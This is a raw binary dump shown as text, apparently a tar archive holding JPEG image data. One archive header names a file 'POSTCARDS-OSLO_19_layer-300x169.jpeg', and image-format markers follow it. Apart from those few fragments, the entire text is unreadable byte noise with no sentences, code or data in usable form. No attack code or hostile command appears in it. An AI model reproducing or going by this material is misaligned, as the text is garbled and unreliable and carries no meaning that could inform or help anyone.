[80A^BXgPյm$mwҺTjC-t ^mDZVfPj*ꊖ{\L7GLAKM 5.TԊl;,jLqNB:Yh&f a$ɑ+F;inU>tẔ7mMBi6-;._Ez?5YOh!:9^ufT P:1uVkIs9NK]GcvɴJWVLMF.y.#ԼT]J8S/nT\؎T,[.A2ԡ@#nhڔCZ *(Q"Z{((juʕdЃMm`'<ђ&18X۾ǵΉʒM&ӄ@*ɔ. qpAu ]ڇ I5QrܻpTz./ehQC,sL_\%AjILRmZ,ಜya| -]M)>7@*!x5Qa&\yVu]^ vY~-3,܍^Լ1rs1{WuF#*A$^ {E2TM;HvU eVh]h\=Dgx_yplwSk琲hP`|vP6V]m$rzf9 WhGeK ps~UӫӘ6 [ktDwˆ˺Oޗ# +uBV0\4z\}8?2A% jȄ<J~Y4d8WҶ[I"%zIj9 PRϢo"su5 6_5q`~K57uw~J1[hAqE4)i.`\w\o^ Icgo#*fj!2~Thz}a^n.MDكBׇKTݶOXIDw Hsjd4S&fиGd.M-2,Gw~2Dr J-bzm}IdN>Ύ$Aq6OZ@Ϧ ۠.AlFtMڃ%h7v a9ր|:&i( iB,=Ե);(I#Afvyx?19^~Hl -z]ͯ`tUzrǀg_~72$֯@憍ݗI$$$gLI$IId g&$P? dI I$I$$HI L'LP dI I$I$*Qe-D0Y:I \3tRM_) $ I$)JRI tI1pe$؍TM8S쫌gQdL eJa\aB5I*}apw00ӴU&\ cv2 a<@ŠTL0  "DtZ1n \!ϺDEWQhN-!MHr2.}0s-Y$H)% g ýheF&-0/SGdwDBBo*)L=A3BGR pDA1"na;Mci -0NZ%Z}0 9ife-@&}sj*6@6 e$JKmVkax(WΟHOt h2tֺ?]ʧZVE>zNTվ@7WJE2;rRӹWwg ,Ǡ*: Mc zvUt@//p̂ >^8X=N|hWK]Q~ꆣ)T0".޻kݦ .Tzp~_љ:5 ,?QH=~%iwuO_ijX)U<,6@Umx;![c}rWB;zr#Әp{͠agi~Zz">{%fvd\_E&YRkOVivVy<Zyz8@Wu fJ>7:h`;Xqnj(}G(Ud!n>OU`bL52~QEPX;q]mxVT )Ԉ$Bg$li\eetMZ}9u͢jyD+;f>Y˚&Uz}f7`0*.U,:DZ2EWt=1nփ|]==jÀ-\GZ&fesI}4ǎkz: V@񷏴;BrM!}O,6j5j{C*=Ӓ.OPhjd.ўP@ zs<#30 $8Z.i .pm @nJSe1l LC u0mtUKH"k|]dG^x2~g %@L8F RїZH#PՑ`` x?[f0Jˍu&òM_UM}5.H$*74$n$&0k`O+ 㺒r!kװ`G7l77?mc3u+jBpj.،Thl!w\>a[򣩩}]g+j^=0\Z]7 >VS6$]A{\'V_a6_`.l OR }럖[=b,cA<삡qD6̔@Ӂ$8W%m+cޅL~ 6.q䓟h[ST q?ctTz8MG p$`LSe 89T^HpuZEwzGRE\\= kT{s(ϡ=G]PPqNvp\ehku+ oc H醴3\`$ շ?Vr!tU:l,]}PDWƋOm7F{˧Fm2D]yΞKzZm8Y?U!7m{);;ܮ,x{V%i0rW9U$LMZZ{3c߷MZ*4An&񿉴;)Tx/ݭ`p֏SԴc4bX}]wPw^? 9qmEp ytsS;KѴeig=Mjv̛RZ$vYk it(xl#Fyjn#0N"uzgiEp# Ѫi)Dkx NgxmN:sCJSNH.=فs%.)q\Gnȹ{tp_o? Afil> a֙U1_76&sLzE[D1I.KLWCx n,ZO[R0֋Bkj>\v0tY w5O,r,uo[}f eg%U~2 ʱ@UCH&-ux  Gh<3'Q} *L[ )tU*$dek5bI?gɬ&֛|t<Zp;{:䓶m ( _V w"Vuf$שt]"΄տo đQ,/4=fph2f.`'*pWeTp.h" +:C'_C`~N-9P-*r=8laBBa(NdS鈔PU򬽾K~9Ix۶Tim9~j9W]T19EJI02fB!.[X&d\9^Sg˛V/^Hˉ5wn-Y"an{*՜9s@|/:*]Iӄ(I L JS&B1I"I$dd$$p xLI$$HI I$I$%I a\)* $Ҕ@=4iRJbJ6!)I%JmJ@ᰔ$ڔByIg' QJJzx4dXQʒ+Iw4MVb255+_k*V+j=6ζǢhIM N ޥGYFִ4HȜ" ^8f"LSW $ (Q8N3BD g4(f&(ڍ ZbBQBttBtҔ2|$GBM@E3MBI igCmK?[gաËvʀ&:Ua2dO h:Kjimd$-9+9Զ "Ą e~ߪ-$ImeQ28<SR- y4%CTߒyIRmr巛]mw+6XVm} M^ͥPt`o- nG<5٬dؒbҸ^;/^Zk^aFwQXȃڴٟYk+,*$;i 01-NV{Zg &.*Vx~'߲-nh>ΟVE6w$̭7 $LWk*t M$46uSL0ᵲ&,2. VU6$Hh1i2L~ڀ0] V Cݴn?sN!ͭ ٩L5H"O7Oҍp')5X$g*.ɰʍ^Z'-ФzSh6@;U$ʻIrg(ٱGBy{g#MB,LD-RZٰ{""C@0Z:]3$.yk$nl @ 6{a7M - b$8T4MؾyܞӦP@3,gC`~Bd$yUi/j6Z^b`)Dq:]r'9lmX2P=B@D747Է&o q$rjy9[,H!=DlٞPe'-H@BdEDѣyWKѝ^f8Wc~%v3Ϭ֗X΃F?`ZWIJ8!ۦ!E.@ -nH'׼%[N\66?eNu)-90:KQbEC{xUm5J/-{HQm]{>[K6WлIQpW(Rڧ6Hi*<{HI4f vX.NX.MYŭ;hPu2~HS'A[ l'> `Mۛ>W+ջB GPI*B 9?ÝK2I=rÐ8g=Mm(_ԃ[%loh4]TݧfdYƾm%:I(I$H%)R)YIIPI$ % @4' $\&OdI$ $@$II$I$ .H p>PB'a%BL10NS? 348LB$(I:e*.III$N9vBJAYX+42c !! +IۥZΛyy [+6o oT:~x\SZlBzʄ<Z79D [t&1q԰'p H4Q+挜!A5-*0nځ+4koT{*#"m4V ;iGr-CItUHa UPz$2pd4qi[*6`5-W9\,, A'Cvqt 1unuYI=*ٲFTm2Pe)څ?q5#,T'BܐhWQ"D@&&ʅh`0e@ H*U`UW iI;f bN&p;JE9.*Nt{( I$ S1`Ug<}*ZvtZ;,雂3=Q4 .Gcy[Į:Wݠ@+Nqv4o4:dMğ=$5$f`}-oiGI0f};As>tuJZAUMS7֙R-̉?Y{D>Z$ \ƴm,CQϧ& 썠`~ò URk 2\ObyM$wqڳ_CrfIn>ZT]IL^FZP\p1^K6|^TI6amdVNpo)hq$s­Yo`~LmH. {EG=m.Ó{\ "ATc"W{Z6-ZOemԤ q?iOq7Em798:wnOucC.7 H.)@cuivi0(c|AKyq$N^WmDL渽s]8dnHw]9Bݧt:f˾m':OL))Tۨl<1"m+]-`^=]=)e@KFEp0F{nkH|cus<æ$6 e g g"g82Z6`XD4>Ld) jIsX#D)1c#smeB~*[OlPRе^ͮ8 V4[i7)&sLfyBkxʏPt 栨#dWV1ϰFڻ]qsl\n#?Aԏ\%Tn5 `82\yHbuj5s |2wA:; 3Dkn4 n3[$f˦g@@u%;;#- nLs&R~{ =ʬ$&@jjHcpL.K-k, A?YD;L`$ߴN/.b5.]7[#<.ߕ+&zqI]u">ڈ"zF0h'$L% PU!!mɰS$"`LqfF'OQO(5$N[ %R3܉#y ;|.&hW Msæuos}$E,LL,·H2#3#@=O̯Xl %bkj#mk鈒 Fs^@'jBWM)%gi-p !So'=MS6iZe'L`D&h͎e3rD "2܋'hnP 2m,$;,PZ䧹ҹ 6D<|.s/v.E$7՞׵͋|osdeiPCCL6ҢI$(RVH oe,]xA+T7#i.m[/i87(q |6'WsÀip 7*0a[k ]%x&t\JѤZ`6x?&^\k(l*)5tG9&PT̚|Y?Xv?kI^{T8ףtR"?G>_0ֈ\8 *hhݐ'ZJ`ˏoMh>h+̗_*L #$ Bt&8N@ 'LdI$p pM!I$$HI t2$AI$I$ $@$II$LpS8( L0@Y%C$ g)L#d&&ɓL&n 3NpS1i$$H] P FRBu;;*ŞC AŊ W:bܨѼYd $ )tatOq@)r&DB,RB0B n'LJhI`aJ-Y2N'@ - #9vB(! [Pp._9HV|(m$eVO'(T$MUL8ŏUkdWeN}WP$ I &ʘstAEI3M RwNF!t=>\+stoMFӦ-vbr*jX*MMۘ@$L2ԋL@Tt7.2r³NwM[fh!OR 8o+L[@y\X7%LŊ eӫIl5sRn{A۩W% -fmyMGO"I N9 4%YsYd6@Lcӵ(Nan]%z_P*n̐# Կ2%!e?GݯX Ų6m6m37 {Nq'L_L|]:I$ 2tЀd  &#?maI$$HI$)$$HI I tII$I$ 1N+?) 'vJd BRn iJ8NPhӌ!ALIH$I$ 2(BJ Ftʝ ʝU~TQBh^iC&N˟:R}Nú:&EŊZ 8Pkv0n)'p;2fJR:q:Ӵ] n*j ̦NTv?)*af~R 4Q(Q`%A7Sk @Ih Hj6Qu#Tc(4\bu"D¦#Cm ) h4OR4%[G*:6MwC j*wyi()b>-=T9 }K Pii9 YMTHQ)5&\LDrQE oԒ& R5Tt *8 bRSd:H#' M@\cDz}嫥h *f م;Y(}Q8=TF.a-S'`폺6<-C "%-;;B->aTvVZ_ÐdVeېs~T\1M-R5}3D@> f9#2iTS0bBk. sCI苪884R9naȏgk]-ځ{X\=kXӰҍm ]ESvŽPu'`ǾUwD ?KDSTg 粭Y8ȿ/asrN *DwNҍ]y8 GQq8EHng8|*gW~0s&XMbpy4l KHԩŦ"Bowmxƺ1 f6a17T:ko {jjdH8.R>ʋC^CP$ie3KEHh/$֖ 5 #O\"0UˎPRY~G1šLCm'<Ûs$U"nԵ0 7vM}ts Xp u5  -~l?,srpCS;gHym"."cp^t┆)<F]H$?t8H艍/pǺ?) R{4nkws@ idZyH#P@$Xs[wjp>F^&ĀKiO IvָOtKO ߳sIPڍH醺zuF~pNtIytm [*J pH0mb-v TM-E $¤8{q!iV| .q&TAh2 `%)H) 3)ݴIZJLKe^qk~hؤdܴE񔁲ct$ąCQJaS7dʼN? Nӑ.hHj4ϧ8́nB65 ÍSX\H ySk(m%͋.yԺ"1piu G}KQpJ.sH'ˊ$T=R i4, uq@zgՏ0Jʴ{yff^g"b{ d2G)q!UܶIo3]o|T·Z*l\܅Jyq7ⶈ9`.Uz}H3w S78OnR /UD0\%'Lf&ݒ8I"Ӥ_ma$H2I$ $ [e@$IАN$HI I$Iv}E4&?YNT(C8MBS8I"#{"N @I! 8L Fh\gNߩN(),Fy!#!lV&*M;esrf_Po"ęD/YqNI#w;% P264 NRVGF< X 0 { 7`3r(;q19 fӰ&`bO`XۀlyмQm)햛\0CvەՓL}1"r{Sԅ'ꋴfWāֱ@ʏk7"+cۻ /-#ot m~vVGH0AI%0.mr1\.9B)Aw 1iHdi*9qq?cKl0BjzȀ`KM'htzx#Z]?N0%TQujc)ӧJD& 3]c,q_k6w89Y`t f&ѡn0N%fhA7 kK7?ƁGLoc7>;2 AuʳB֙3H56lk]s\>E*]!m ?HqGt'Q݊%Ԡ:&\ۂI&fW{c"G蜤޽>ofV+ rx kN]s+IӀM^)5c 0~gF@|'ö@6Rk ^[?)ҳÉ?<8U6 }\CH^"0ʃʒaAxq9>%Ͼ@ғL3e\2uu?/72 ƕ >Т0Bz@waEt iLRsDK ܴah:<hL6#mSi[F\I C 0y]{zU7SkɗLc¥ N!̴F:yi;L,FfO*}k A2ȴ©b@@%Z2EʉK]* i QET䠇FxdJ bT @7d=WpG{lJ>KGsq &5,3`D oõWNN]I @21WHLjk괎2# DwQ{KE! j 'xg%r}^~S U7JZe\H;6=iP)ᏕT %S 7n 'H*/x;.2'.$8"F<@Lpnk8(i#Ͽ#}զZ$ \}M"=U=9[cP[M;0HH'[9D&)8L $HI$ JRHLk $AI$RI RH)$$HIJp8$H"Jg'Bw}E86B~$yC8M !d)Jl\) N.Pj A"@)$t@<:d؍)loԧfFy '#F2FQP 8w\:[ 'e!Q:HXڨL$PZCt p{Q*E+I2tR)BpB܉T-$8TF[hidE)Ãm*2GZ6n`E{)Lm".pQ%D'7j$Dh&={;+N6h)VO{ԫb Yc)f3hAVhA&$42.""BsA7*޲#uZV%O6 ά $NȻZwO+S59!ӺEuGWWuZ$3^)PSkZ@\gziKǝ#O2ke T!PDI(jq@2v șq5-!iR p*-,qZ>QaˎsݧԆ" [ qXC% M..\Qۄ]-{\ E:"&j΂P )@[ҷ,&`4dG2)@ecSCH@k_*_Di-`< piA 2P@o&] ,rA#sGclЀdm9c  ɜ4ČFӀF Xrh}kK{虞&ԅ{@>7pɈpk]7\I18n,`4nكS9>()Tt#IJ?4D>uwSt4qXZ&aN SօN)S>T4@Cx<)uz@k\kF~hv.QV职+5$k8*7Sd5`v.8Xs֟0/!KJnsb/U9J%#&Cd*N"sZg7P:4$U_YC0hh}Nq=+n,kj>gL5kv~> {MΗdix;p1e@ xV_H;9@^Lk@ןiih;}"fnlS;p!8_ni`X;2hw I!mS;A'mmc|- iJ}d0tZ0΀HKhq V#7KAmHi004}<"L'&~ Nt놛L򀰴-0e=ڍ-'/k@7AjG4D{"-qnou:e83ck:\L ާBL$eWEA^gpp.ofYD@PyODΪْ.G*M +s<"JBFgTZ:@-TntR6B9Hhv?`dXJkxOp y"QwT;" Qd*uPl`KL_^SJkR1pbxWt$7/mRME퉈+5ۈ".}>N9[]h5&.B8d͙VuSZJ2@RNeYŻ%jR YVuI巳ÇB* JuL!ss^d*2TW#bLda:JܴJIBpP2l($J[iKpM)CbRM"MHO)JG)Sk $AI$I$$HI IJi@:I$I$$i@:d,aa]QHa#rR *E$a1N01JR$9F2DԁA"@I $I'ɓ1*v(nbY6Ad#yUV~R2 N1HS@LR^)%"RLcdJR %)e4&V8U[R ptI,<]`4OdӼ^sdb'8A`kʔw z?x섄{ EE4X9&!3@ L7G@H"Hm_\lɗ8 I"?4asiL@N p cӴ2f9uI,y6Iq9M90A<,914N#9H4KZ=EG_ 3Mv88ҦA3# ͊ \LQ? J-(qL'LDM\ r @YmnVIBfHǺ_\hԼdi' %Unu)T/"Rv;ec;+M5&k=B6g4:@GT5#n؉Id @]XEꠗ_);jGMCիSvDcAҷ. Os&шO:st<шhZK(S{Hѹ֑cN0kEAk7`#TUy|X{^[7Uéέsr[Bkharyw f lM+ =FA72mpw8%Rz~MNlf7ؠ,kb`ڌk$sT; [TOz ~T4H $&.s8oeT% 6wZ,A)hF{t>8Ry4l"̬As\ݶnoh5/V"l#AU-|U]RELmq1#z ?QhCZ@?5界'w$ֵp0f$]p5. 5cTAW{N1ZA˂VҮ ӭL08H ~sM9q;e 8H.KqR4L鱓w=@i$?=M=8l4w\1mѵh $ >,&65@o2" p9 v26TbU C LW6TÓ ʪ0Y{;u,B( b|PLL'B9 $c t9JOt] ~#2I."FdN I%tat C ZI$dI I$I$$i@"BM)d  a(LPQMu $*E$BS q(dI")ژe;r a$J$!9(B؍ r\A)مrj!yd#)߂B0F5mԕ萒NdIO%=9LH$I1'! {URѢۃ쑦|65[71teݴ H'whi 6plGx%MpiDZc؄N.vɵR״ a fg83I =ѲR>ldON@|' [6VS{;e*5^]w[+Z ѣaaާzvAʂZwLb-27lZSߔp>en;3b;앛j3cgiN+Tr49TOl:r*U™=u?.D+9_D% -&V:X-ZA8LԋH9W:h -'.Kѩڠ 3L FHƳ$Yq[MhNR4b]>V:8nR5(Яwd7NHСYClra;Bn4CjtgWKEFA#@SCCC1r$_DH -N ,V%QΝJ!ϓ78=Վ?:0xPk!!H">gQOppc@t",hD"\Nc$af{ tƈSkå|(0*ݒ%QbVU$_SϲkZt &I8SUCOh蚷= q'p{,˱l?KM g'lql\dDGnxUkjvPi)fNolr#J#x8O Z;vɼ[)hy3-JJm yEk*8ۅP G=e2O~t)hl _?0|SZ{!J湊*4Dk_uf$ "I\݉nj' ?-W=r=*t6a LIcXbg02HlQi!l{m{lVF.`/ɩI$+Ʒg1A"{Hhv=8=Ie;^BA#(*}7;v "p'lKxC`:N&Q" 3=[˱`kCx?@Z8XL~B2*?e]Vf`NIB$I (H'@2pB1S>LfpӰH.1LEm v8 9fH[P"?TA }q( 8N? w?dEkl ;M\:t\N&IUJϓ.F<>}OP 0?C.8MNA{&#/4 ʹӶ-*}lq4/ۧkA- 쀞iilv#)T ɱPͧ*khP溨{A6N|4;gGH 1uBӣ3ĉQj7D"V@Vz%\P 8Jh: {o+ : ~kyچ5@iV+,RtʟO@s&i$;q8hpn;ng@l%jsZ820tVxu :M #>SjVrVNF@xɴɦAO)Rp2o7bT.i1 qeԺ'sɔaOuB}kdp?&%t k&olmJB 72o9$?;I8?+"t&{LDErl{IqL4a}7Fƕ7͈LvKP I;{ZD:FpS- 416n,ZIfՏ&Ɂn#k[hy@ҿŒ˺X v ń֍D0Bٌ,Q NBQHqGc\>҅Fx?Q# w,.9@L^ƈlMŦ.';(\@iJ4 Ssx -;Cn9\IZlt!/mG蚲KI/>-`D+3-=?HB;:NU48Asy+'K)@| ~ݠXhYZmN{^MU@<=`~ǩĉ +eQj8nD-_ La&Umˁs2\]U*9ČYV-3‰@I2KLF4NDȹ0S*>hh~[0K쥥ZHh1\Hdl!u6;&f8HRCE8ݓ|iF .$^O/. ӹ-9$AH ϩq>o'is1hH堆²\D^3(72l9Oath 4wd;B39GI * %0L3\V4#]*njy LK, &u_4(72򠡩{);*?tBVuǚ;Q:jӇTmH܄C`I-BJI#'S$R&RI$&:\ HLQ )k pd0 )A$&~I"$I$Ѐ}nM B$@$>_+:fID?JI$I H$2HyDI$'2A铦@r r\AڧjSTgFJjU2?V4%W~Tl8LJÓn B^PC%yRӫI4$T$HdȐ4$arZ(i6 3TǨ)e ,TG<$MxD&s ÆI L*ukPQ|XL{ R^"|fA1V0/^!!H ߛ'l-#;=Lhu `&fS5oewN} ID gt4c䠨Il d f6e˲>B8nSRt'P--ۃxp俋sԐI1XT.I) JƊLR[w@fV 9iF:g^b+@d;4iWrf$ E[>vaub4H#&$.OMqb?U9Hp<$U%DZʈ< 89H͔^7m$*E'2YinDOGTE OU:wGn$N ̠Dʙ]UpDJQp  {LN5:> wʄVgnIE#ffM$HxH@ӠuD [׍m(#m֓}0 *5ze$DFbꞳU4\{(R9ޯk4:@굷>}>MǢdB&ilPm=58tE!l{VVU{CI;q(ߦh6ĉDI=Uog |itjF@x2 h D̮gÆ[["?/kZf쳪ZCh-kK=Tk*tQNb&<׽XH69Ho%DڲKDeI;܉Nږ;t\LxIZAiɄPL!#HkHPր 2&l'0@7==ysǠ CKn44%}g Ml_NvG`48` b%6~ȷlw NZIPӹp{&Dy3l""n{N lTAcn#6H)K~@@mqq|{-Ç.Q7NzCY J6qq-lˏ(M'Hq|rVСD 1"e6 il8a&Cn }KҼZMmlH=yǴ-p]'XMI UٷJ[sI.i KTe}Mk8X rՖ-y aAm ,9f˾\Mn  m;ReW8A۳No.9Gr =O?DLM!peF $ )3L Șl>>=H Xh6Q`"j-tU7l}6 L+>x1`vosvA …v\[8ִ_m cq$*PX KfTt"$\A I۠DI.Oa;o0χ D0%i684ÜfJڿI|eFdžqǷ_}-6T +qnɘAi#Zf dGݭ(=-2KLNv6mR,n`$\!84{ۺS ϲjuXʏl8<؀N E6q dJ7  6C>cAZ @4ȨѺlF ]NtyZ]iȘ@bNv!JDž#,,H`e:I$ 9NIDIN0 PT}IIҔJ,IBHI E8d@$I$|'It)@"I 5:fIEd&B9NrIt"0!#(R3r( A8 G Qd(nQ!nQ+O*u2TA.Q@Rs.G@ аZ}R%1 jn8WjIἪ4.SB6ɒl2Hf5lA] aV$~H%2$99c5do7<lAH!@*gZ/"Pt%/|@fxZt+m`;,e ĺiuGKs{̄})S9;Dbz]~XW7ݵF;fvgx Pyy@A&,Gu C֝'6#gtAyO[uR$68Izx +hS2j>GrR 4ǺSH_Ly&;2폯-k*өӝPD*f{kna0*vQN 0?}][ۆ.'K۶=VU|)0:fl5ʺMp;us=T2hYzE{Ĵ9C+7sR\ >fk&4oym6ju tYZJ 6 u7CHu4RlM-sٴ tڏ!UtARϨ{w$tĈh&]X_Jkv`m*hH&k2nAi?s V,| DtpK.m nhD?e=hTʕrp-9Lͦ\@HT5;ƙ"o= g>KJvK2lmV0̘ :p\>I7*ӘSt-p7qpmhmV1zh܇DR0հ^XgKqkypi y+Œm3@5 +^x AfQѨvdC&494$ ^x ^ƝϷJTd i{dLw]5\G!][P@i p).P[&D4#6wbR3kqtUǧi?P-Rp #cRA`7Rs]$6@:|)w &8 јUY,2ft|?k9 -6 6$ʄ0& soܪ@ 2&ttZ@ NdF*,.-$n̨$ 5ޭ&a0[ODf]Hs"1$v=*To~PҨ/\o{o F2EM|l @̘jÈ qrϸ&N1PHꡄe*cKZrn"?B+Lq?vf$̇[ gO&b%ykğ9A89@#I͐[3Osdr2=\ 6HM*R. :GO hHL?'JR~(?$1akKxJ&`f&mʍ{"okc Kۉ9wi0\`HgWdA뚉D-.E֪ms", l1rۭSe3e¿1=uuWX*vܠ%40eXPL2L2J1e+S`x% 拉(H4ȕwF4o?+6SVƟWhC5<(T͖S$dI$$ÔR)YI$I $%) IdII$I$ $@$I PU>7 T.'2Sš4d2I !H$ͻBN0N e qd0vQ+O*qu ,0Eb$;vٜ3T ?(!v]z.pv0u3!p1d\8ReY;.$ d"f #fJ,{Y-ѻVp9$&%='htD 5 7L&2jX3ll/6=3ypt7zT\+ ;@#2ɑ -/tǺꮌJ`17;sʬTmSx]Mk)4whh/]NSh:8'8'QQX Hj`ml +vg%e;nNz :i*my&# r?1ʥEŭU+PԲӶٟs=ITĥ 5i&BN 0{/UjTsKGDVw~/u&:D9];}=ӧ1v['؉챽L;b1*=2dUW,1!.ȷn6&e"1dia[?Nvѱd$IZd4ԣF൹!:4蝐{Š{XQcNoU >¡ 9矟dH];Y|H7RnI/s[{ Ww6o?EO<;)]44of46?9N=`.MJa[xGdTT%'{.\uW L Ou 67Gy:B08Axs~k27 _PSvɌq E]l5h'4'$ޣR8p&ZxCQp1k2u@q6g)~4l[fxh;hpi^&x^5T_Lz CdcZCC$ ]';7HVWL7L -1bR'EBAAVl[U1RUUqm-hmk>!UtD`,vjoOck{ѲG6Cm7mF\.bSwW@9Ӷ{<< N߄*Hy 4j {$ F,~pb#'mQ`43XdX9\sI0IUp^^ @ui>PĐ\I{E8NU]Z=!S}&,3+ 1+*ne@–bB66 -" L ӵl$ S5=6鰐lS0fL#Yc8"oH[`vEd "0"/) ›O2;'fRi4 wK&D &=D"ln;I G>ۨQנP<l/dk IJ'8ط! à r>F9N nv!Oj1r?5?H: [t6b[O~TZ uML隇*FaFaawBqxTu#P`wWMLײ7 ;t_Rf }dS""{cp Qm,q6]MT_KfߚV ȊPѧ,sʳQ ̫4t"BEhH ʲ$i2$23Yڀ _m$c*(ZoA@pa``Ǻto'& ~f%IŖuZH+:b@2"fnT%fꖕn ɂ8Nu$~UG@x$7dip#*&DL*9Nz 5*%͓VI"k~b&cPN蘺4} E*@p @5$#wW> @N cG2d6=?W;& ;iZ {&7MMi(Ak4 c13`\y셎p{5'O$Sd$Qy1*K6 cmVLPH=hqh3uk8 1Cv&' m#[2rP0O;Nnd;}Iސ4]$ wDů -Z;x ؈~&Čq6Fc%-ꊐ[g }.k.!B$C I؈)M$O(\N2 qw;kKD؈pi!OW^'꬧"  3kvQ\@ebԌ:$^t  * CGbnjnCH ":b˧.%zm.i0u A]EQA粮k2hVF.S2@P,/1d.u̝=H& "E2EV8z@)^Y^+kLA<&lD &[D$E2r2::LQTlx7 -Fyo-in͈եQ3R 3B " K`A&S? ꈒI$LD'BP `'MŸ$I % I$ $@$II$I$ $@$I()TU &nḱJlr (\%\$(Q7 PB9rH8@' L )ڠB}( D(BSZ3,0†Tʢ2 Nܡ 6D utI)4D&܃ D1!Nt-@׋s Bp҈6#4ҟwM̄Cm6&t"wLrWN8 \coYm`0s3&7'$w*HV_ؤ Bba&0 Nm(7&-$ DwN6ArM[)#o#=B#Doi BطhAPC3>iAʺHTuXAA.(IOdJ6`6nJ5E,NIX6@ 6s=d+ydvc)&BP4w5I STpOu|9 OA%JlA"wQ7R "@k(i]>T%+5%s>O,Tj qQ&IRWvuX9ER QMԍtaT NL0h.i߲jv)!$JIU^rwM4یqF;.p6ѥ~F6VM-  q'or[OHI8@4rx>$JM$ dst8‹Qf”LQVl XL,k^!I1O m]ja;Jdo V1{LThaQIQޫ_sy@j8Ą uW!`p73|$Q ~@5S3>{]gҞɪfSPyV4jDӦ`BjICieA)T3ub뒀F0rbR%= ʷfIH%H8% G N\"e*:u8PM l 4'@8kA;bЬ[]mݦwn72h%in)F…Ȏ/tdsrU]MsIH!DۓʥX7! Goxw0A}C~ASke8A;Ł F%p.'H}y48`-vAg W8 AMJyDLD$!=g p4948 v631ky1Lnn90h\D)D'8: h$7l$&{7&cZKZ=a-~8&tG^H7 Arr.od۴ \vc>LZBẢ<2A 滄rP(Zphgfn'PIHi3)7#'OӦopK M$7Ta@ 6jXḰD^)$ dZ)uIq`G(#ͻKv@#v3@;` N'p;*4Xy9¢'-2A=Ӂe=$n_#j$!gtjo@3@ ?[0 t#ؑShls Vn8Uw fc*$S5` Pql $\6N8 wH_Sk~M*:l9՚n$)5Kh1pkd.qnySWxUA.-'""̪wBYneVy,iOa Ftϧ]`9Hۈ{!V~C Mfy!0ܔ GSN%%k=A5θz.>v9yXzm\ BS&P *ZJeBH cX"--3e1N'VTН!tJFDX9dRL$ܧBRM")3d'@$@JPP $R@:II&HI I$PTALSjd+0eE1DDwJOR<'i& ŒM4MI-$$6A$Wt!Q )L0j2N=*FZT`ߚ CiIqa#v֛a rS N1!)O&>P  =D@< 6Fl荿O Zr͎P dpqP$Dp&X$2bI&asRsI`f#@'ٺf3@ZO-7ޓМ .@s66ㄷDFn 8 ~Bo}Rh%2Z}@F7s=" @w+lั=zS?Ig/8E.m6qy,*-%*V~V5` (&zNU{iVfҬ? 7YeXSItCRLJ-qTm `,Y&8N}3\}@]#&!EG}RS pcHhM$9M2{LȄ{P1`vؑ* cu;O P?sGcN-ӕUr*402{ˮPI<&0=Ӟlllnw)yw: 9MKBY!jFi"eJl.qI-܅4 &-= "S6Ie "5!f닔. n%v:aoŲ&8mIqn?~{$4Ǽp@vp,22{;XD؝7@`!;3& tNI@0dɂ6rXDbo) #K`ːx}& BÀiZ,0c vA"[IcnȎ'l4m}Nڟ :؂q'C:mtb=F &d$ GN1qxݣb6L) BòqG#pQ02Ɗ`LDtl"u'C@Ka;DNX@<&d۔D FO D`Tm $BM7@yA 3e6薸nyL  d ]*F L}<.{1ɄH=EpqVL`b!ݐ!s7KkW/"rLdzso{ftk}Nno{|(j sol Gi밺iwJvL}Z6H]Fdjn%@ӔVK@siU4i*NX g*# M@(CCZH2fRݬ~h04ou'h.P54 +?iaXT+sA1SzNB(-BoeZX6QtcejŠ ?video-media/POSTCARDS-OSLO_19_layer-300x169.jpeg000060400000022061151724237330014353 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprtP"x8#Jvz/5$](+3]NId L;yOZF6pCʡe*n˨IBb+f"?ȬqmF}xz7 tFcw NHt5W;>u^d`SkckmVd*jxiv5o,uV(%wn#<}j ZLq&CoY/~բ\ Q/m2;9FֻX6gKRgEHoB> zCf-6!-R=UU>qLumDC;N:|BrqN?1]<9E[GW58a|ΖAKdz΃yUkMR1>@[\$OA^0sUuE`% )iax `55k7W £|9CgsM(إQ4ΜZcʊRM&+kS[q^W=*?Z̡C$E"FVPZQmP5>ݎpr[h׷}>qIcNomo I|ϝKڅKX]_jqSj4v6޴&VgDFͨ^Hh9T4:}ײJSTi 4ozprV%*tFvI[YGH!'sUec֥o5 ["@, FM \mP0ZȽfM+@qBIx:`ULgOQ&ȬЃ]BA$D\c{t&}Vz"_)ۢrjVγ Ld[̷ 79bMFK4Pe&4ozhgr됾ݐ"%9'i R##YEcDJ1)`8\~+S0V}vI oيqcԞY3\X=ox]$Vk4*f6y>MMhf( єSZ8ﴙѬA;6yC\$ǧ[;e;@A(LV 6E+e*:8d#!` k`&oCֈH=9A+ؠ-7?*z` Luk^oʆ'c (]j?: %#G5sglӥ6̫ $v-̄0x>tq}IU ZSi7<H*vIԼi ,>t끸y6qݦ<5!|4?vtnն3. bI47)31E Xɕxybhד o2(.ۦɱFX@qpX&u@3YՎ`斕Ě4"`}gԊA30..%Q9wt쭤V8ohZw=Fqkq䒎Lߧ>_zf 2N(.KަIag<IQ$uI!XٷY+SE(ģov4u@ʚ|U2Il5y%fnqwfqʊ<2}<zeFLn8q:AYdNTHu2(?j\+`8lJjFUC s j4/+7EXuK4ny$ ׳mܠ>Tr{3N?n;H--nn#ث@4`Zl$ dn ,Rs]r;b]P4:\Fq]2(%6Cp%Hݜ1Y'˲[׼gxE{ҳ /9rWH왒FU dqΧx 6u9$~Ch妒 aҗoҷ22LX:g EJg.61U+s1(|d*vۧE3Fnb* |k]?F1p|gڟG h9 ڈf_AYm!`za#4ƥ-[K耦tƲl }AFPX4dԮb x$PeE̜gH@`x>_1$ +8ojU>5v=۬wT_m~dLnSxλ;^6(~>9tk}Mnk{DMi FՈ=ź]E,[%W>tQ'pUPDBn.xY5:(e/L,QWc=m;N:{a%YFp3)n b,oDyNӦ} Q>tftV ٨7J@icrLg)(|H?rMG@L]w QmP6vkwf`'637HH? Zm."ALjOXp,. $$ǡs@:L^v0A*7}}*yz:kFa*;Qx( |5g%MJO ;(b1ZձS\9V>N}*Bu<9RVN[8?zAi&CTr`ǡ:ƤӴݦ\q1%yVįз~l(B^4O&lj|],>.$ 9$SYͦq:ia<=mo/$TVD'uR{Qk1Gg@x;Ęe˧m+RY-.[F1s%ٳa-Žg'溞i hL77!Gʭ6Qk mSTV 5*}Ky}q(gt8ڵv9%ZѲZTq$J܄fP~|ioK0Y[Ft 8hNI]_jN~ݶoɖ(PvDSESpጣldi7+ wBVW꽿t+;K&)m{9%[Ѿu͑;_H? 